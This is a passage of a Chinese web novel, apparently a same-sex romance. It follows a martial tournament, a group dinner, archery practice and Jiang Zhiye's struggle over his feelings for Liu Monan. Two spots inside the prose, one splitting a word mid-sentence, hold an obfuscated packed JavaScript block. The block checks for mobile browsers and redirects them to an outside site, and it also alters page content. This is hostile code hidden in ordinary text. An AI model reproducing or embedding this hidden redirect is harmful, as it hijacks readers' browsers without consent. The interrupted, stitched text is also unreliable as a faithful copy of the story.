身旁几人占了片临台的好位置,顾时夜正掰着栗子往方妙手里塞,栗壳裂开的脆响混着少女咋舌的抱怨:“烫死了!顾时夜你属火钳的?” “嫌烫给我吃。”顾夜白伸手就抢,却被方妙啪地打回,栗子滚到安德鲁脚边。 男人弯腰拾起,指尖的薄茧蹭过栗子壳上的绒毛,转手便剥好递过去,眼尾余光却凝在方妙因嗔怪而泛红的耳尖上。 江知烨瞧着这幕,嘴角噙了笑,目光却不自觉飘向斜前方——柳漠澜立在栏杆旁,正好和自己对视。 “喂,江大人!”顾时夜捅了他一下,“呆看什么呢,待会儿轮到安德鲁上场了。” 转瞬校场中央的铜锣声骤然炸响,主持赛事的虬髯老者扯开嗓子:“下一场,西城区安德鲁,对战南营李猛!” 安德鲁将剥好的栗子放在方妙手边的石桌上,顺手理了理袖口的系带。 李猛已提着柄开山大斧站在中央,斧刃磨得锃亮,虎视眈眈地盯着安德鲁。 “这李猛去年拿了劈柴组头名吧?”顾夜白缩了缩脖子,“安大人的细剑吃得消吗?” 方妙拍了下他的后脑勺:“懂什么,剑走轻灵!”话虽如此,她攥着栏杆的手指却微微发白。 安德鲁走到场中,向裁判拱手时,目光朝看台上扫来。 方妙立刻挺直腰板,扯着嗓子喊:“安德鲁——加油!” 江知烨看见安德鲁嘴角极淡地勾了下,随即转身,呛啷一声拔剑出鞘。 那剑竟不是常见的青芒,而是淬了层极薄的暗金。李猛哼了声,大斧挥出道弧线,带起的劲风刮得地面落叶打旋。安德鲁却不硬接,足尖一点便退后半丈,剑锋如灵蛇般探出,直取对方手腕。 “好快!”顾时夜低呼。 刀光剑影在夕阳下交错成网。李猛的斧法刚猛,每一斧都带着开山裂石的气势,斧刃划破空气的锐响让看台上的人屏息。安德鲁却像片贴地飞行的叶子,始终与他保持着寸许距离,剑尖总能在间不容发之际擦过斧刃,带起串串火星。 “他在找破绽。”柳漠澜的声音忽然在江知烨身侧响起。 江知烨转头看他,见他眉峰微蹙,“李猛的斧法大开大合,破绽在……” 话音未落,安德鲁忽然变招。 他不再闪避,剑尖猛地下沉,竟硬生生挑向斧刃的缺口!李猛怒吼一声,斧刃横斩,眼看就要将细剑斩断——安德鲁却手腕一翻,剑身如活物般弯曲,贴着斧刃滑出,直刺对方肩窝! “噗嗤”一声轻响,并非皮肉绽开,而是剑尖挑断了李猛肩甲的系带。铜片甲叶哗啦啦散落一地,李猛愕然僵在原地,斧头“哐当”落地。 全场寂静片刻,随即爆发出雷鸣般的欢呼。 方妙跳起来使劲鼓掌,顾夜白吹了声口哨:“漂亮!”安德鲁收剑入鞘,朝看台方向拱了拱手,目光在方妙泛红的脸颊上停留了一瞬,便转身走向场边。 江知烨注意到他握剑的手指也有些发白,显然刚才那招险之又险。 夕阳沉到旗斗下时,江知烨系紧了护腕上的皮带。红缨枪在他手中轻若无物,枪杆缠着的防滑麻线磨得发亮。 顾时夜递过一壶水:“喝口?待会儿对上那个使链子锤的,可得小心他甩鞭。” “知道了,婆婆妈妈。”江知烨接过水壶,却见方妙正把一袋糖炒栗子往安德鲁怀里塞:“刚让小厮买的,热乎,你手都凉了。”安德鲁接过栗子,指尖触到她的手背,耳尖不易察觉地红了。 江知烨看得直乐,忽觉肩头一沉,是柳漠澜递来块干净的汗巾。 “擦汗。”话语言简意赅。 江知烨却心头一暖,刚想说些什么,却见柳漠澜已转过身,望着场中正在布置的铁链,只留给自己一个清冷的背影。 “下一场,东城区江知烨,对战北巷‘铁鞭’周横!” 铜锣声再次响起,带着黄昏特有的沉郁。 江知烨深吸一口气,提着红缨枪走进场中。对面的周横足有八尺高,手里拎着根丈许长的链子锤,铁链末端的锤头磨得溜圆。 看台上有人窃窃私语:“这小子看着年轻,能扛得住铁鞭的力道?” 江知烨将枪尖拄地,红缨垂落如同一团燃烧的火焰。 周横咧开嘴,露出黄牙:“小子,待会儿别哭着找娘!”说罢手腕一振,链子锤“哗啦”一声甩起,带着破风之声直砸他面门。 好快的鞭! 江知烨一愣,但随即脚尖一点,侧身避过,枪杆顺势横扫,直取对方下盘。 周横嘿了一声,铁链骤然收回,锤头在半空划出个圆弧,竟如活物般缠向枪杆! “小心!”方妙失声喊道。 江知烨瞳孔一缩,猛地旋身,枪杆在手中舞出一片枪花。铁链擦着枪缨扫过,带起的劲风刮得他脸颊生疼。他不退反进,枪尖如灵蛇出洞,直刺周横握链的手腕。周横吃了一惊,连忙回链格挡,却听“叮”的一声脆响,枪尖精准地挑在铁链的节疤处,铁链竟被挑得荡起个弧度。 “好!”顾时夜跳了起来。 江知烨不再给对方喘息之机,红缨枪舞得如同狂风骤雨。他的枪术不像安德鲁那般沉稳,而是带着股少年人的悍勇,每一招都迅猛无俦,枪尖在暮色中拉出无数道残影。周横的链子锤虽猛,却被他灵活的身法避开,铁链屡屡落空,反而因惯性带动自己的步伐。 “这小子的身法像游鱼!”看台上有人惊呼。 江知烨听得此言,心中一动。他想起父亲曾说过:“枪如蛟龙,需得有上水之劲,亦需有潜渊之灵。”当下猛地矮身,枪杆贴着地面横扫,同时手腕翻转,红缨如火焰般卷向周横的脚踝。周横没想到他能使出这等低桩身法,一时收势不及,踉跄着后退两步。 “枪出如龙,滴水不沾,想破我,还得练。” 就在此时,周横眼中闪过一丝狠厉。他不再挥舞链子锤,而是将铁链猛地缠在手臂上,握着锤头直冲过来!这是不要命的打法,想用蛮力砸开防御。 “不好!”安德鲁低喝一声。 江知烨却不退反进。他能感觉到周横身上传来的巨大力量,锤头带起的劲风已刮得他衣摆猎猎作响。在锤头即将及身的刹那,他猛地拧腰,红缨枪划出一道不可思议的弧线,枪尖精准地刺入锤头与铁链的连接处! “当啷!”一声巨响,锤头竟被他生生挑飞出去,砸在远处的青石板上,崩出数道裂纹! 周横愕然松手,只剩下光秃秃的铁链缠在手臂上,江知烨的枪尖已抵住他的咽喉。 全场死寂。 随即,如雷的欢呼声几乎要掀翻演武场的顶棚。 江知烨收枪而立,额角的汗珠顺着下颌滑落。他抬眼看向看台,一眼就望见了柳漠澜。 对方正望着自己,目光清澈,像秋日天空的颜色。 四目相对的刹那,江知烨的心跳忽然漏了一拍,仿佛刚才那场激烈的比试,都不及此刻对方眼中的一抹微光让他心动。 安德鲁走上前来,递过水壶,低声道:“好枪法。” 方妙挤过来,不由分说地往江知烨手里塞糖炒栗子:“厉害啊你!刚才那下挑飞锤头,帅呆了!” 顾时夜勾住江知烨的脖子:“走走走,赢了比赛,晚上得好好搓一顿!我知道城西有家烤羊腿不错……” “我要吃桂花糖糕!”方妙立刻举手。 “还有冰镇酸梅汤!”顾夜白跟着嚷嚷。 ....... 城西「醉山翁」的幌子在暮色里晃悠,顾时夜第一个撞开雕花木门,里面顿时涌出浓郁的烤羊油香,混着茴香与炭火的气息。 掌柜的见是熟客,立刻堆起笑:“七位爷来了?雅间留着呢,刚宰的羯羊,外焦里嫩!” 方妙踮脚往后厨望:“我的桂花糖糕呢?让刘师傅现做!” “哎嘞!这就去催!” 雅间陈设简单,一张榆木圆桌配着矮凳,墙上挂着幅《秋猎图》。 顾夜白刚坐下就抓起桌上的生花生往嘴里塞,被顾时夜拍了手背:“急什么,羊腿还没上来呢!” 江知烨挨着柳漠澜坐下,隔着窄窄的桌沿,能闻到对方身上安心的味道。 “要酸梅汤吗?”他脱口而出,说完才觉得唐突。 柳漠澜抬眸看他,眸光在烛火下显得格外清澈:“好,多谢。” “我去要!”顾时夜立刻跳起来,“顺便让他们多加点冰!妙儿姐肯定也爱喝!” 白鸽安静地坐在顾夜白身边,小口小口地喝茶。他见方妙只顾着看安德鲁剔骨,碗里的米饭快凉了,便默默起身,将方妙的碗拿到暖炉边热了热。 方妙回过神时,看见温热的白米饭,愣了下,随即冲白鸽露出个大大的笑脸:“还是小白鸽细心!” “来了来了!烤羊腿!”店小二扛着根小臂粗的羊腿走进来,铁叉上的羊肉还在滋滋冒油,金黄的脆皮上撒着翠绿的葱花和暗红的辣椒面,香气瞬间填满了整个雅间。 顾时夜立刻抄起刀子:“让开让开,看我的!” “哎你慢点!烫!”方妙伸手想拦,却见顾时夜已经被烫得跳起来:“嘶——好烫好烫!” 顾夜白笑得前仰后合,被顾时夜一脚踹在凳子上:“笑什么笑!你试试!” 安德鲁无奈地摇摇头,接过刀子,先给方妙切了块肥瘦相间的羊排,吹了吹才递过去:“小心烫。” 江知烨替柳漠澜切了块羊腿肉,见他吃得清淡,又特意挑了块不带辣的。 柳漠澜小口吃着,忽然轻声道:“你刚才的枪术,挺厉害的。” “是吗?”江知烨眼睛一亮,“我就说那招『潜龙出渊』练了三个月没白费!” “嗯。”柳漠澜嘴角弯了弯,“枪劲沉,身法也活了。” 江知烨看得有些失神,直到安德鲁踢了他一脚:“喂,魂儿呢?羊腿要被顾时夜啃光了。” “知道了知道了,没了再让老板烤就是了嘛。”江知烨撇了撇嘴,这才收回目光。 之后江知烨注意到柳漠澜很少吃油腻的东西,便让店小二上了盘清炒时蔬。菜端上来时,他特意把盘子往对方那边推了推。 柳漠澜抬眼看他,眸光柔和,轻声道:“多谢。” 简单两个字,却让江知烨心里像被什么东西填满了,暖烘烘的。 “对了!”顾时夜啃着羊骨头,忽然想起什么,“明天是不是该练弓箭了?我可跟你说,江大人,你那箭法现在肯定还不如妙儿姐了呢!” “去你的!”江知烨笑骂道,“上次是谁把箭射到房顶上了?” 方妙立刻附和:“就是!顾时夜你还好意思说别人!” 顾夜白在一旁煽风点火:“哥,我记得你还差点射到白鸽了呢!” “去去去!小孩子别乱说话!”顾时夜作势要打,却被安德鲁拦住。 “好了,食不言。”安德鲁语气平和,却带着不容置疑的分量。 闻言顾时夜立刻乖乖闭嘴,只是朝顾夜白做了个鬼脸。 柳漠澜放下筷子,擦了擦嘴角:“明日卯时,演武场东侧箭道见。我让兵器坊备了新弓。我也想看看你们练习”他看向江知烨,“你的臂力适合硬弓,已让他们按你尺寸做了。” “你还记得我尺寸?“”江知烨有些惊讶。 柳漠澜目光微闪,垂眸搅了搅杯中的茶水:“去年看你用过,便记下了。” 烛光摇曳,映着桌上狼藉的骨碟和空了的酸梅汤碗。窗外的风声渐渐紧了,带着秋夜特有的凉意,安德鲁结了账,众人起身往外走。 方妙打了个饱嗝,不好意思地吐了吐舌头。顾时夜和顾夜白勾肩搭背,争论着明天谁先射第一箭。 ....... 卯时的演武场蒙着层薄霜,柳漠澜到时,兵器坊的学徒正往箭道旁搬弓架,七张形制各异的角弓靠在木架上,最显眼的是江知烨那把缠了朱红鲛绡的硬弓,弓臂上还刻着细小的云纹。 柳漠澜将食盒放在场边的石桌上,里面摆着麦饼卷肉和一碟糖渍青梅,都是昨夜亲手做的。 顾时夜打着哈欠跑来,头发睡得像鸟窝:“我的天,这么早……阿澜哥你带了什么好吃的?” 顾夜白跟在后面,揉着眼睛往石桌凑,:“江大人呢?再不来我可要偷吃东西了!” 话音未落,江知烨的声音适时响起:“催什么,安德鲁去拿箭囊了。” 方妙蹦蹦跳跳地过来,手里晃着张粉色的弓:“看!我新做的弓袋,上面绣了小蝴蝶!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我帮你拉弦。”安德鲁上前一步,站在她身后,双手覆上她的手。两人靠得极近,安德鲁的呼吸轻轻拂过方妙的发顶,她顿时僵在原地,脸颊红得像熟透的苹果。 柳漠澜看着场中嬉笑打闹的众人,目光最终落在角落里的白鸽身上。对方已经射了十多支箭,却支支偏离靶心,最远的一支甚至飞到了草丛里。 “白鸽,过来。”江知烨不知何时走到他身边,手里拿着两支新箭。他指了指演武场边的望楼:“跟我上去。” 望楼有三丈高,秋风吹得木栏杆吱呀作响。白鸽跟着江知烨爬上去,往下望去,众人的身影都变小了。 “试试在这里射。”江知烨将弓递给她,“看着靶心,记住,在高处要把握好手臂高度,不能低不能高。” 白鸽迟疑地拉开弓,风太大了,弓弦在他手里微微颤抖。箭射出去,果然又偏了,落在靶心左侧三尺远。 只见他低下头,声音带着气馁:“我还是射不好……” 江知烨靠在栏杆上,望着远处天际的流云:“知道为什么鸟飞得准吗?因为它们知道天空是自己的主场。”他指着一只掠过望楼的麻雀,“你看它,扇动翅膀的节奏,调□□向的角度,都跟在地上不一样。” 白鸽愣愣地看着那只麻雀,看它轻盈地掠过树梢,消失在云层里。 “把靶心当成你想追上的东西,”江知烨的声音在风中显得格外清晰,“或者……当成你恨的人。” 白鸽猛地抬头看他,眼里满是惊讶:“恨的人?”他想了想,摇摇头,发丝被风吹得乱舞:“我没有恨的人……”他的声音很轻,带着一丝茫然,“我连爹娘的样子都快记不清了,怎么会有恨的人呢?” 江知烨怔住了。 他看着白鸽清澈的眼睛,那里面没有半分阴霾,只有像秋水一样的纯净。 他想说些什么,却听见楼下传来顾时夜的喊声:“开饭了!漠澜哥带了麦饼卷肉!” “下去吧。”江知烨揉了揉白鸽的头发,动作有些笨拙,“吃饭要紧,箭术慢慢练。” 望楼的木梯在脚下吱呀作响。白鸽走在前面,忽然停下脚步,回头看他:“江大人,其实我觉得……射箭不是为了恨谁,而是为了……”他顿了顿,像是在寻找合适的词语,“为了像鸟儿一样,能飞到想去的地方。” 江知烨愣在原地,看着小家伙继续往下走,忽然觉得,刚才那句“把靶心当成恨的人”是多么粗糙。 石桌边已经围满了人。顾时夜正狼吞虎咽地啃着麦饼,里面夹的酱牛肉被他咬得直冒油:“柳漠澜你这手艺绝了!比醉山翁的还好吃!”顾夜白抢过一块糖渍青梅:“酸甜正好!方妙你尝尝!” 安德鲁替方妙撕了块麦饼,细心地挑出里面的葱花:“你不爱吃葱。”方妙小声说了句“谢谢”,低头小口吃着,眼角却偷偷瞄着他。 柳漠澜将一碟青梅推到白鸽面前:“尝尝?”白鸽拿起一颗,放进嘴里,酸得眯起了眼睛,却又忍不住笑了。 江知烨在柳漠澜身边坐下,拿起一块麦饼。 饼皮烤得酥脆,里面裹着卤得入味的牛肉和新鲜的生菜,咬一口,香气在舌尖蔓延开来。他偷偷看了眼柳漠澜,见对方正小口吃着青梅,唇角沾了点糖渍。 柳漠澜忽然递过来一块干净的帕子:“嘴角。” 江知烨一愣,接过帕子擦了擦嘴,指尖触到帕子上细密的针脚,像是绣着什么图案。 “谢……谢谢。”他的声音有些发紧。 柳漠澜没说话,只是拿起自己的麦饼,小口吃着,耳尖却微微红了。 阳光渐渐升高,驱散了晨雾。石桌上的食盒渐渐空了,只剩下几个散落的青梅核。 顾时夜拍了拍肚子:“吃饱喝足,继续练箭!今天我非得射中靶心不可!” “你先射中我的箭再说吧!”顾夜白挑衅地扬起下巴。 江知烨看着他们打闹,又看了看身边的柳漠澜,无奈笑了笑,:“果然都是小孩子呢。” 或许白鸽说得对,射箭不是为了瞄准恨的人,而是为了像鸟儿一样,飞向自己想去的地方。 江知烨拿起桌上的硬弓,弓弦在阳光下闪着柔和的光。下一次射箭时,他想,或许该瞄准的,是那些值得珍惜的时光。 26. 我喜欢他?不可能! 立冬前的风带着刀子味,刮得青石板路上的落叶打着旋儿跑。 江知烨缩了缩脖子,把领口紧了紧。他拐过棋盘街,远远就看见“花月满人间”的幌子在风里晃悠。 随即江知烨挑开棉门帘,一股暖香混着茶香扑面而来,瞬间驱散了身上的寒气。堂中坐了半满,几张桌子旁围着暖炉,食客们哈着白气说话,声音嗡嗡的。 他一眼就望见了柳漠澜。 对方站在临窗的桌子旁,正低头听着对面的人说话。那人穿着件月白色的锦袍,腰束玉带,侧脸线条柔和,手里转着个白玉茶杯,姿态闲适。 江知烨的脚步顿了顿,因为角度问题,那人微微倾身,离柳漠澜很近,而柳漠澜垂着眼,嘴角似乎噙着抹极淡的笑,在暖黄的烛火下,竟显得有些……亲密。 心猛地一沉,像被块冰砸中。 江知烨攥紧了手掌,指节微微发白。他看见柳漠澜抬手,似乎要去碰那人的袖口,吓得他差点眼珠子掉在地上。好在下一秒,柳漠澜只是拂去了他肩头上并不存在的灰尘,语气清冷:“苏先生的茶还是老样子,要加三分糖?” “有劳柳老板。”那姓苏的男子笑了笑,声音温雅。 江知烨深吸一口气,压下心头的莫名火起,大步走过去。 柳漠澜闻声抬头,看见是他,眼中闪过一丝讶异,随即恢复了平日的清冷:“你来了。” “路过,进来瞧瞧。”江知烨目光却不着痕迹地扫过那姓苏的男子,“这位是?” “苏文轩,常来的茶商。”柳漠澜替他倒了杯热茶,“苏先生,这是江知烨。” 苏文轩起身拱手:“久仰江大人威名。” 江知烨敷衍地拱了拱手,视线却落在柳漠澜刚才碰过的那只白玉杯上,酸溜溜地开口:“柳老板真是好客,亲自招待茶商,连灰尘都要帮忙拂。” 柳漠澜倒茶的手微顿,抬眼看他,眸光清冷:“待客之道而已。” 苏文轩何等精明,立刻察觉到气氛不对,笑着打圆场:“柳老板心细,在下的茶摊能有今日,还多亏了柳老板指点。不打扰二位了,在下先告辞。”说罢便起身离开了。 人一走,雅间里的空气似乎都冷了几分。 江知烨端起茶杯,猛地灌了一口,烫得他舌头直伸:“嘶——这么烫!” 柳漠澜递过一块方糖:“刚煮的普洱,性子烈。”他看着他被烫红的嘴唇,眼底掠过一丝不易察觉的笑意,“急什么?” “谁急了!”江知烨把方糖扔进茶里,看它慢慢融化,“就是觉得这茶商……挺会挑地方的。” “他的碧螺春不错,下次带些给你尝尝。”柳漠澜收拾着桌上的茶盏,指尖划过苏文轩用过的杯子,“说吧,来找我什么事?” “没事就不能来?”江知烨别过脸,看着窗外被风吹得乱晃的枯枝,“顾时夜他们说你这新来了点子糖糕,非要我来打包。” “在厨下,我让小厮给你装。”柳漠澜起身,“正好我要去街上买些东西,一起?” 江知烨心里的那点别扭还没散去,但一听对方要逛街,立刻忘了刚才的不快,点头如捣蒜:“去!” 寒风卷着细沙打在脸上,柳漠澜裹紧了身上的素色斗篷,江知烨跟在他身侧,手里提着刚打包好的糖糕匣子,里面还透着热气。 “先去绸缎庄。”柳漠澜拢了拢被风吹乱的发丝,“酒楼要换冬帘,得挑些厚实的料子。” 江知烨立刻接口:“我帮你挑!我知道哪家的云锦最好,上次方妙做新裙子,还是我帮她选的料子呢!” 柳漠澜看了他一眼,嘴角弯了弯:“是吗?什么颜色?” “粉色!带金线的那种,顾时夜说像朵大桃花!”江知烨说得眉飞色舞,却没注意到柳漠澜眼中一闪而过的落寞。 绸缎庄里暖烘烘的,挂满了各色布匹。柳漠澜看中了匹月白色的素缎,手感厚实,适合做帘子。江知烨却指着旁边一匹朱红色的织锦:“这个好!看着就暖和,挂在酒楼里多气派!” “太艳了。”柳漠澜摇了摇头,“酒楼要雅致些。” “雅致有什么好,看着就冷冰冰的。”江知烨小声嘀咕,却还是帮他把月白缎子抱到柜上。 付账时,掌柜的笑着问:“柳老板,上次您问的雨前龙井,苏先生说明日就到货了,还是老样子,要十斤?” 江知烨的耳朵立刻竖了起来。柳漠澜点点头:“嗯,让他送到酒楼即可。” 走出绸缎庄,江知烨终于忍不住了:“你跟那苏文轩很熟?” “还行,做了几年生意。”柳漠澜语气平淡,“他的茶干净,价格也公道。” “只是做生意?”江知烨追问,目光紧紧盯着对方的侧脸,“我看他看你的眼神可不一般。” 柳漠澜脚步微顿,转头看他:“江知烨,你今天怎么了?” “我能怎么了!”江知烨梗着脖子,把糖糕匣子抱得更紧,“就是觉得……有些人别有用心!” 柳漠澜没再说话,只是加快了脚步。江知烨看着他的背影,心里那点别扭又涌了上来,像根刺,扎得他难受。 他们又去了香料铺和瓷器店。柳漠澜买了些熏衣的梅香,又挑了几个新的茶盏。江知烨全程跟在后面,时不时插句话,但语气总是带着点酸溜溜的味道。 路过一家首饰摊时,柳漠澜在一副玉簪前停了下来,那玉簪雕着半朵莲花,温润洁白。 江知烨立刻说:“喜欢就买!我送你!” 柳漠澜摇了摇头:“不适合我,”转身就走。 江知烨看着那支玉簪,心里琢磨着是不是下次偷偷来买了送给对方,又想起苏文轩温雅的笑容,顿时没了兴致。 夕阳西下时,柳漠澜买了些炒栗子,递给江知烨一袋:“回去吧,天要黑了。” “不多逛会儿?”江知烨有些不舍,“顾时夜他们还说要去看杂耍呢。” “不了,酒楼还有事。”柳漠澜把栗子塞进他手里,“糖糕趁热吃。” 看着对方转身走进酒楼的背影,江知烨心里空落落的。 江府的屋顶在暮色中像一块巨大的墨砚。江知烨抱着个茶壶,坐在屋脊上,脚下是层层叠叠的瓦片,远处的灯火星星点点,像散落的棋子。 他不会喝酒,一沾就醉,所以此刻他只能抱着一壶热茶,假装在买醉。 茶是柳漠澜常喝的普洱,浓酽苦涩,像他此刻的心情。 他想起白天在酒楼看到的场景,想起柳漠澜对苏文轩那抹极淡的笑,想起他提起苏文轩时平静的语气,心里就像被猫爪子挠似的,又痒又疼。 “他是不是喜欢那个苏文轩?”江知烨喃喃自语,“不然为什么对他那么好?还帮他拂灰尘……” 他想起柳漠澜对自己虽然总是笑盈盈的,偶尔还会很亲密,但那笑容像隔着层冰,看不真切。 “也许他就喜欢苏文轩那样温文尔雅的,不像我,大大咧咧的……” 风吹得他打了个寒颤,他裹紧了大氅,却还是觉得冷。 “可我是男的啊……”他猛地坐直身子,心里咯噔一下,“我怎么会……喜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15694758|173401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 欢柳漠澜呢?他也是男的啊!” 这个念头让他吓了一跳,差点从屋顶掉下去。 他使劲摇了摇头:“不可能!绝对不可能!我只是……只是把他当好朋友,好兄弟!对,就是兄弟!” 可心里那个声音却在反驳:“那为什么看到他和别人亲近会生气?为什么想送他玉簪?为什么一想到他可能喜欢别人就难受?” “闭嘴!”江知烨对着空气低吼一声,灌了口热茶,烫得他直皱眉。“我江知烨是顶天立地的男子汉,怎么会喜欢一个男的!一定是错觉,肯定是!” 他越想越乱,索性把茶壶放在一边,躺下来看着灰蓝色的天空。星星还没完全出来,只有几颗黯淡的光点。“也许……只是我想多了吧。” “江知烨!你躲这儿干嘛呢!” 方妙的声音像颗小石子,打破了屋顶的寂静。江知烨吓了一跳,连忙坐起来,只见方妙手脚并用地爬上屋顶,裙摆被风吹得乱晃。 “你怎么上来了?”江知烨连忙去拉她,“小心点!” 方妙拍了拍手上的灰,在他身边坐下,好奇地看着他:“我看你回来就黑着个脸,饭也不吃就往屋顶跑,想什么呢?跟谁置气呢?” 江知烨叹了口气,捡起茶壶喝了口茶:“没谁。” “没谁才怪!”方妙戳了戳他的胳膊,“是不是因为今天去花月楼,看到柳漠澜跟那个茶商说话了?” 江知烨猛地抬头:“你怎么知道?” “顾时夜说的呗,他说你从花月楼出来就耷拉着脸,像谁欠了你八百万似的。”方妙眨了眨眼,“老实交代,是不是吃味了?” “我吃什么味!”江知烨立刻反驳,“我就是觉得那姓苏的不是什么好人!” “是不是好人我不知道,”方妙托着下巴,看着他,“但我知道你喜欢柳漠澜。” “我不喜欢!”江知烨几乎是吼出来的,声音在夜空中回荡,“我是男的,他也是男的,我怎么可能喜欢他!” 他的声音太大,把屋檐下的一只麻雀都惊飞了。 方妙被他吼得一愣,随即噗嗤笑了出来:“谁说喜欢就一定要怎么样了?喜欢就是喜欢,跟是男是女有什么关系?” “可……可我……”江知烨语塞,心里乱糟糟的,“我从来没这么想过……” 就在这时,楼梯口传来轻微的脚步声。柳漠澜站在楼梯转角,手里提着个食盒,里面是刚熬好的姜汤。他本来是给江知烨送上来的,却没想到听到了刚才那番话。 “我是男的,他也是男的,我怎么可能喜欢他!” 这句话像一把冰锥,狠狠扎进柳漠澜的心里。 他说得那么肯定,那么决绝,仿佛喜欢他是件多么不堪的事情。 柳漠澜只觉得一阵寒意从心底升起,瞬间蔓延至全身。捏着食盒的手指微微发白,指节因为用力而凸起。 他没有再上前,只是静静地站在阴影里,看着屋顶上那两个模糊的身影。方妙还在说着什么,江知烨低着头,看不清表情。 风穿过走廊,卷起地上的落叶,发出沙沙的声响。 柳漠澜深吸一口气,压下喉咙里的哽咽,轻轻转身,一步一步走下楼梯。食盒里的姜汤还在冒着热气,却暖不了他此刻冰冷的心。 屋顶上,江知烨还在和方妙争辩着,完全没有察觉到,那个他一直放在心尖上的人,刚刚听到了他最伤人的话,此刻正独自走在寒冷的夜色里,背影萧索,像一片被风吹落的叶子。 而那壶被遗忘在屋顶的普洱,早已凉透了。 27. 我就是喜欢他! 立冬后的第一场寒风卷着沙尘掠过街巷时,七人惯例的聚餐定在"春暖楼"。 顾时夜拍着桌子要点烤羊腿,顾夜白却惦记着柳漠澜带来的糟鹅,方妙扒着菜单瞅桂花糖糕,唯有江知烨盯着门口,指尖无意识地抠着桌沿的木纹。 自屋顶那夜后,柳漠澜便像换了个人。 往日里虽清冷,却总会在他闯祸时递过帕子,在他练枪受伤时默默备好金疮药。 可如今,对方见了他只淡淡颔首,倒茶时会刻意避开指尖相触,连说话都透着股拒人千里的冰碴子。江知烨几次想开口解释,都被他用"酒楼事忙"挡了回去。 "上菜咯——"店小二的吆喝声打破沉默。顾时夜立刻夹起块羊排往方妙碗里送:"尝尝这个,比上次的还嫩!"安德鲁替她摆好筷子,目光落在她沾了油渍的嘴角,喉结动了动,最终只是递过纸巾。 江知烨扒拉着碗里的米饭,余光却瞟着斜对面的柳漠澜。对方正慢条斯理地剔着鱼肉,垂着眼睑,长睫在眼下投出扇形的影,美得像幅水墨画,却也冷得像画里的冰山。 方妙眼珠子一转溜,忽然放下筷子,拍了下手:"说起来,阿澜哥你也老大不小了,是不是该考虑成家啦?" 这话像颗石子投进冰湖,众人瞬间安静。 顾时夜差点噎着,顾夜白赶紧递水,江知烨猛地抬头,心跳漏了一拍。 柳漠澜抬眸,目光扫过众人,最终落在方妙身上,语气平淡无波:"哦?妙丫头有合适的人选?" "当然有!"方妙来了兴致,往前凑了凑,"我认识的一个,姓温,是个琴棋书画样样精通的千金,人可斯文了,上次见她还帮我捡了发簪呢!"她说着,偷偷瞄了眼江知烨铁青的脸色。 江知烨手里的筷子"啪"地断成两截。 他看着柳漠澜,见对方微微颔首,唇角甚至勾起抹极淡的笑:"好啊,劳烦妙丫头安排。" "你答应了?!"江知烨猛地站起来,椅子在石板地上划出刺耳的声响。他盯着柳漠澜,眼里的震惊和怒火几乎要烧起来,"你真要去相亲?跟那个什么姓温的?" 柳漠澜放下筷子,抬眸看他,眸光清冷如霜:"与你何干?" 这句话像把冰锥,狠狠扎进江知烨心口。 他张了张嘴,想说什么,却只觉得一股血气直冲头顶。周围的目光像针一样扎在他身上,顾时夜想拉他,被他一把甩开。 "好,好得很!"江知烨扯了扯嘴角,霎时间直接气笑了,"你们吃吧,我没胃口!"说罢,他转身就走,门铃被他撞得哐当响。 门被狠狠推开,寒风卷着落叶灌进来,吹灭了桌上的一支蜡烛。 方妙吐了吐舌头,小声嘀咕:"好像……玩脱了?" 安德鲁放下酒杯,看向柳漠澜:"你何必……" "吃饭。"柳漠澜打断他,重新拿起筷子,只是指尖微微发颤,谁也没看见。 江知烨不知道自己是怎么跑出酒楼的。寒风像刀子一样刮在脸上,他却觉得还不够冷,冷不到压下心里那股灼烧般的疼痛。 他一路狂奔,直到来到城郊的镜湖——那是他和安德鲁小时候的秘密基地,此刻湖面上结了层薄冰,倒映着灰沉沉的天空。 他想起第一次认识柳漠澜,对方的一言一行,每一次的接触,导致从此他的眼里便再装不下别人。 想起屋顶上那句"我是男的,怎么可能喜欢他",想起柳漠澜今天那句"与你何干"…… "啊——!"江知烨怒吼一声,狠狠捶了下身边的柳树。树皮划破了手掌,渗出血珠,却远不及心里的疼。他猛地脱下外衫,跳进了冰冷的湖里。 湖水像无数根针,扎得他皮肤生疼,瞬间浸透了里衣。他却像感觉不到似的,在湖里拼命划水,直到力气耗尽,才狼狈地爬上岸,浑身冻得发紫,牙齿不停地打颤。 夜幕降临时,他才失魂落魄地回到江府。 顾时夜他们早就回来了,见他这副模样,吓得半死。顾夜白赶紧抱来棉被,安德鲁煮了姜汤,方妙想帮他擦头发,被他低吼着赶走。 "我没事!"江知烨裹着棉被缩在椅子上,脸色苍白如纸,嘴唇冻得发紫,"别管我!" 安德鲁无奈地摇摇头,把姜汤放在他面前:"趁热喝了,不然明天该发烧了。" 江知烨看也不看,把头埋进被子里:"不喝!病死算了!反正没人在乎!" "胡说什么!"安德鲁皱眉,"柳漠澜他……" "别跟我提他!"江知烨猛地抬头,眼里布满血丝,"他心里根本没有我!他要成家了!跟别人!"说着,他又委屈又生气,鼻子一酸,差点哭出来,:“他没有心......” 安德鲁叹了口气,知道他在闹脾气,也不再逼他,只是说:"那你先歇着,我去给你拿点药。"说罢便转身离开了。 房间里只剩下江知烨一个人。 他抱着膝盖,看着桌上渐渐凉掉的姜汤,心里空落落的。柳漠澜真的要走了吗?真的要去和别人在一起了吗?还要娶别人或者嫁给别人?想到这里,他就觉得胸口闷得喘不过气。 不知过了多久,房门被轻轻推开。江知烨以为是安德鲁回来了,故意把脸埋得更深,闷闷地说:"说了不喝……走开……" 来人没有说话,只是走到身边,拿起桌上的姜汤,用勺子轻轻搅了搅。 